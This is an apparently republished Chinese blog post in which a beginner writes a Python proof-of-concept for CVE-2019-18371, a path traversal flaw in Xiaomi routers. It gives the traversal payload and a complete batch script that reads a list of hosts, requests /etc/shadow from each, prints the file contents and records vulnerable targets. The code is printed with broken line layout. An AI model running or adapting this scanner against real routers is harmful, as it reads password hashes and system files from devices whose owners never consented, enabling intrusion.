小白尝试写任意文件读取poc
我是一个小白,完全不懂Python,但是Python在渗透中往往是一个重要的角色。
有一个CSDN百万大佬写了这样一句话,不会编程的渗透都是耍流氓。
我虽然菜但是也想尝试学习写一下Python漏洞的poc和exp。
我是在网上找到的学习方法,随便记录一下。尝试写一个批量验证漏洞的poc
发现小米路由器有一个任意文件读取漏洞,学着写了看看
小米路由器远程任意文件读取漏洞
小米路由器远程任意文件读取漏洞(CVE-2019-18371)
小米路由器的Nginx的配置文件错误,导致目录穿越漏洞实现任意文件读取。
可通过访问http://domain.cn/xxx…/etc/passwd实现目录穿越访问上级目录及其子目录文件。
如访问http://192.168.1.1/api-third-party/download/extdisks…/etc/passwd 便可以读取到passwd文件。
写一个批量验证漏洞的poc
第一步实现域名和payload拼接
已知payload=/api-third-party/download/extdisks…/etc/passwd
域名和payload拼接如下
1
2
3
4
5
6
7
8
9
10
|
import requests import time def poc_check(poc): for url in open ( 'xiaomi.txt' ): url = url.replace( '\n' ,'') poc_url = url + poc print (poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。 if __name__ = = '__main__' : poc_xiaomi = '/api-third-party/download/extdisks../etc/shadow' poc_check(poc_xiaomi) |
图片如下
拼接好的域名尝试访问,如果返回200代表访问成功说明能读取到文件说明存在漏洞
返回其他的状态码就代表不存在漏洞
完整代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
import requests import time def poc_check(poc): for url in open ( 'xiaomi.txt' ): url = url.replace( '\n' ,'') poc_url = url + poc # print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。 try : print ( "再也没有留恋的斜阳" ) print ( "正在检测:" ) print (poc_url) poc_data = requests.get(poc_url) if poc_data.status_code = = 200 : print (poc_data.content.decode( 'utf-8' )) with open (r 'xiaomivuln.txt' , 'a+' ) as f: f.write(poc_url + '\n' ) f.close() except Exception as e: time.sleep( 0.1 ) pass if __name__ = = '__main__' : poc_xiaomi = '/api-third-party/download/extdisks../etc/shadow' # poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd' poc_check(poc_xiaomi) # poc_check(poc_xiaomi1) |
写完了,我太水了的是照着别人写的
到此这篇关于用Python写漏洞验证脚本的文章就介绍到这了,更多相关Python验证脚本内容请搜索服务器之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持服务器之家!
原文链接:https://blog.csdn.net/qq_46258964/article/details/122791108